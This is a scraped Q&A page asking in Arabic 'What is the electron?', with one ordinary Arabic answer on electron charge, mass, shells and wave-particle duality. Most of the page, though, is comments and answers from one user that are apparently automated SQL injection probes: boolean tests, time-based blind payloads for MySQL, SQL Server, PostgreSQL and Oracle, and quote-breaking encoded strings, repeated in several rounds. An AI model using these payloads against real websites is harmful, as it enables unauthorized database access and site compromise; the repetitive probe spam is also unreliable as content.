ما هو الالكترون؟
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ما هو الالكترون؟

 neutron  electron  proton  atome
demandé 31 mai 2023 06:17
8
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1 - lxbfYeaa 23 avril 2026 09:40
1 - lxbfYeaa 23 avril 2026 09:41
1 - lxbfYeaa 23 avril 2026 09:41
1'" - lxbfYeaa 23 avril 2026 09:41
1����%2527%2522\'\" - lxbfYeaa 23 avril 2026 09:41
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33 Answer(s)
0

الإلكترون هو جسيم دون ذري يحمل شحنة كهربائية سالبة.
  يشار إليه بالرمز "e ^ -" أو ببساطة "e".

الإلكترونات هي جسيمات أساسية وتعتبر واحدة من اللبنات الأساسية للمادة.

تقع الإلكترونات خارج نواة الذرة وترتبط بالذرة بواسطة القوى الكهرومغناطيسية. تدور حول النواة في مستويات أو قذائف محددة من الطاقة.

يمكن لكل غلاف أن يحمل عددًا محددًا من الإلكترونات ، وتشغل الإلكترونات أدنى مستويات الطاقة المتاحة قبل ملء المستويات الأعلى.

كتلة الإلكترون صغيرة للغاية مقارنة بالبروتونات والنيوترونات.

لها كتلة نسبية تبلغ حوالي 1/1836 وحدة كتلة ذرية (u) ، مما يجعلها أخف بمقدار 1836 مرة من البروتون.

تلعب الإلكترونات دورًا مهمًا في تحديد الخصائص الكيميائية والفيزيائية للذرات والجزيئات.

تشارك في تكوين الروابط الكيميائية ، حيث يتم مشاركتها أو نقلها بين الذرات لتكوين مركبات.

يحدد ترتيب وتوزيع الإلكترونات في مدارات الذرة تكوينها الإلكتروني ، وبالتالي سلوكها الكيميائي.

الإلكترونات عبارة عن جسيمات سالبة الشحنة وتنتج حركتها أو تدفقها تيارًا كهربائيًا.

يتم استغلال خاصية الإلكترونات هذه في العديد من التطبيقات العملية ، مثل توليد الطاقة والإلكترونيات وتكنولوجيا المعلومات.

من المهم أن نلاحظ أن الإلكترونات تظهر أيضًا ازدواجية موجة-جسيم ، مما يعني أنها يمكن أن تتصرف مثل الجسيمات والموجات.

هذه الازدواجية الموجية والجسيمية موصوفة من قبل ميكانيكا الكم ولها آثار عميقة على سلوك وفهم الإلكترونات في الأنظمة الذرية ودون الذرية.

بشكل عام ، تعد الإلكترونات جسيمات أساسية تساهم في بنية وخصائص وسلوك الذرات والجزيئات. إنها ضرورية لفهم الظواهر المختلفة في الكيمياء والفيزياء والتكنولوجيا.

answer 31 mai 2023 06:20
4
Jilani
0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
555 - lxbfYeaa 23 avril 2026 09:20
555 - lxbfYeaa 23 avril 2026 09:21
555 - lxbfYeaa 23 avril 2026 09:21
-1 OR 5*5=25 -- - lxbfYeaa 23 avril 2026 09:21
-1 OR 5*5=25 - lxbfYeaa 23 avril 2026 09:21
-1' OR 5*5=25 -- - lxbfYeaa 23 avril 2026 09:21
-1" OR 5*5=25 -- - lxbfYeaa 23 avril 2026 09:21
-1' OR 5*5=25 or 'Z7TamrrR'=' - lxbfYeaa 23 avril 2026 09:21
-1" OR 5*5=25 or "Wbl9FBkd"=" - lxbfYeaa 23 avril 2026 09:21
555*if(now()=sysdate(),sleep(15),0) - lxbfYeaa 23 avril 2026 09:22
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z - lxbfYeaa 23 avril 2026 09:22
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z - lxbfYeaa 23 avril 2026 09:23
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ - lxbfYeaa 23 avril 2026 09:23
555-1; waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:24
555-1); waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:24
555-1 waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:25
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555-1 OR 631=(SELECT 631 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:26
555-1) OR 888=(SELECT 888 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:26
555-1)) OR 86=(SELECT 86 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:27
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555349IjtUa') OR 687=(SELECT 687 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:28
555onSH36f7')) OR 993=(SELECT 993 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:29
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) - lxbfYeaa 23 avril 2026 09:29
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' - lxbfYeaa 23 avril 2026 09:30
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555'" - lxbfYeaa 23 avril 2026 09:30
555����%2527%2522\'\" - lxbfYeaa 23 avril 2026 09:30
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555 - lxbfYeaa 23 avril 2026 09:47
555 - lxbfYeaa 23 avril 2026 09:48
-1 OR 5*5=25 -- - lxbfYeaa 23 avril 2026 09:48
-1 OR 5*5=25 - lxbfYeaa 23 avril 2026 09:48
-1' OR 5*5=25 -- - lxbfYeaa 23 avril 2026 09:48
-1" OR 5*5=25 -- - lxbfYeaa 23 avril 2026 09:48
-1' OR 5*5=25 or 'yHM2olfx'=' - lxbfYeaa 23 avril 2026 09:48
-1" OR 5*5=25 or "5cooOVE5"=" - lxbfYeaa 23 avril 2026 09:48
555*if(now()=sysdate(),sleep(15),0) - lxbfYeaa 23 avril 2026 09:49
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z - lxbfYeaa 23 avril 2026 09:50
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z - lxbfYeaa 23 avril 2026 09:50
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ - lxbfYeaa 23 avril 2026 09:52
555-1; waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:53
555-1); waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:54
555-1 waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:55
555k5Mt1jaL'; waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 09:55
555-1 OR 737=(SELECT 737 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:56
555-1) OR 185=(SELECT 185 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:57
555-1)) OR 440=(SELECT 440 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:58
555gFguUtCh' OR 14=(SELECT 14 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:58
555mPrll80k') OR 125=(SELECT 125 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:59
555Vh1Or6MG')) OR 886=(SELECT 886 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 09:59
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) - lxbfYeaa 23 avril 2026 10:01
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' - lxbfYeaa 23 avril 2026 10:01
555 - lxbfYeaa 23 avril 2026 10:01
555'" - lxbfYeaa 23 avril 2026 10:01
555����%2527%2522\'\" - lxbfYeaa 23 avril 2026 10:01
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555 - lxbfYeaa 23 avril 2026 10:21
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555 - lxbfYeaa 23 avril 2026 10:22
-1 OR 5*5=25 -- - lxbfYeaa 23 avril 2026 10:22
-1 OR 5*5=25 - lxbfYeaa 23 avril 2026 10:22
-1' OR 5*5=25 -- - lxbfYeaa 23 avril 2026 10:22
-1" OR 5*5=25 -- - lxbfYeaa 23 avril 2026 10:22
-1' OR 5*5=25 or 'W1YTQZAi'=' - lxbfYeaa 23 avril 2026 10:22
-1" OR 5*5=25 or "308EOJnG"=" - lxbfYeaa 23 avril 2026 10:22
555*if(now()=sysdate(),sleep(15),0) - lxbfYeaa 23 avril 2026 10:22
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z - lxbfYeaa 23 avril 2026 10:23
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z - lxbfYeaa 23 avril 2026 10:23
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ - lxbfYeaa 23 avril 2026 10:24
555-1; waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 10:24
555-1); waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 10:25
555-1 waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 10:26
555cVAH0RvZ'; waitfor delay '0:0:15' -- - lxbfYeaa 23 avril 2026 10:27
555-1 OR 976=(SELECT 976 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 10:27
555-1) OR 527=(SELECT 527 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 10:27
555-1)) OR 565=(SELECT 565 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 10:28
555ssKmvSCp' OR 101=(SELECT 101 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 10:28
555gHX8JkNQ') OR 76=(SELECT 76 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 10:29
555U2drUrwA')) OR 862=(SELECT 862 FROM PG_SLEEP(15))-- - lxbfYeaa 23 avril 2026 10:29
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) - lxbfYeaa 23 avril 2026 10:30
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' - lxbfYeaa 23 avril 2026 10:30
555 - lxbfYeaa 23 avril 2026 10:30
555'" - lxbfYeaa 23 avril 2026 10:30
555����%2527%2522\'\" - lxbfYeaa 23 avril 2026 10:30
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555 - lxbfYeaa 23 avril 2026 10:31
555 - lxbfYeaa 23 avril 2026 10:31
555 - lxbfYeaa 23 avril 2026 10:36
comment Answer
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555
answer 23 avril 2026 09:38
581
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answer 23 avril 2026 09:39
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answer 23 avril 2026 09:39
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
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-1 OR 5*5=25 --
answer 23 avril 2026 09:39
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comment Answer
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answer 23 avril 2026 09:39
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answer 23 avril 2026 09:39
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answer 23 avril 2026 09:39
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comment Answer
0
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answer 23 avril 2026 09:39
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answer 23 avril 2026 09:39
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answer 23 avril 2026 09:40
581
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comment Answer
0
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
answer 23 avril 2026 09:41
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
0
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
answer 23 avril 2026 09:41
581
lxbfYeaa
0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
0
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
answer 23 avril 2026 09:42
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
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555-1; waitfor delay '0:0:15' --
answer 23 avril 2026 09:43
581
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555-1); waitfor delay '0:0:15' --
answer 23 avril 2026 09:43
581
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comment Answer
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555-1 waitfor delay '0:0:15' --
answer 23 avril 2026 09:44
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
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answer 23 avril 2026 09:45
581
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comment Answer
0
555-1 OR 540=(SELECT 540 FROM PG_SLEEP(15))--
answer 23 avril 2026 09:45
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
0
555-1) OR 214=(SELECT 214 FROM PG_SLEEP(15))--
answer 23 avril 2026 09:46
581
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comment Answer
0
555-1)) OR 79=(SELECT 79 FROM PG_SLEEP(15))--
answer 23 avril 2026 09:46
581
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comment Answer
0
555k8H4fG9h' OR 653=(SELECT 653 FROM PG_SLEEP(15))--
answer 23 avril 2026 09:47
581
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comment Answer
0
555H3PgLfFU') OR 289=(SELECT 289 FROM PG_SLEEP(15))--
answer 23 avril 2026 09:48
581
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comment Answer
0
555BmTHrj9U')) OR 60=(SELECT 60 FROM PG_SLEEP(15))--
answer 23 avril 2026 09:48
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
0
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
answer 23 avril 2026 09:49
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
0
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
answer 23 avril 2026 09:50
581
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
comment Answer
0
555
answer 23 avril 2026 09:50
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0 0 gold badges 0 silver badges 0 {% trans "bronze badges" }
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0
555'"
answer 23 avril 2026 09:50
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0
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answer 23 avril 2026 09:50
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comment Answer
0
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answer 23 avril 2026 09:50
581
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answer 23 avril 2026 09:51
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answer 23 avril 2026 09:52
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answer 23 avril 2026 10:00
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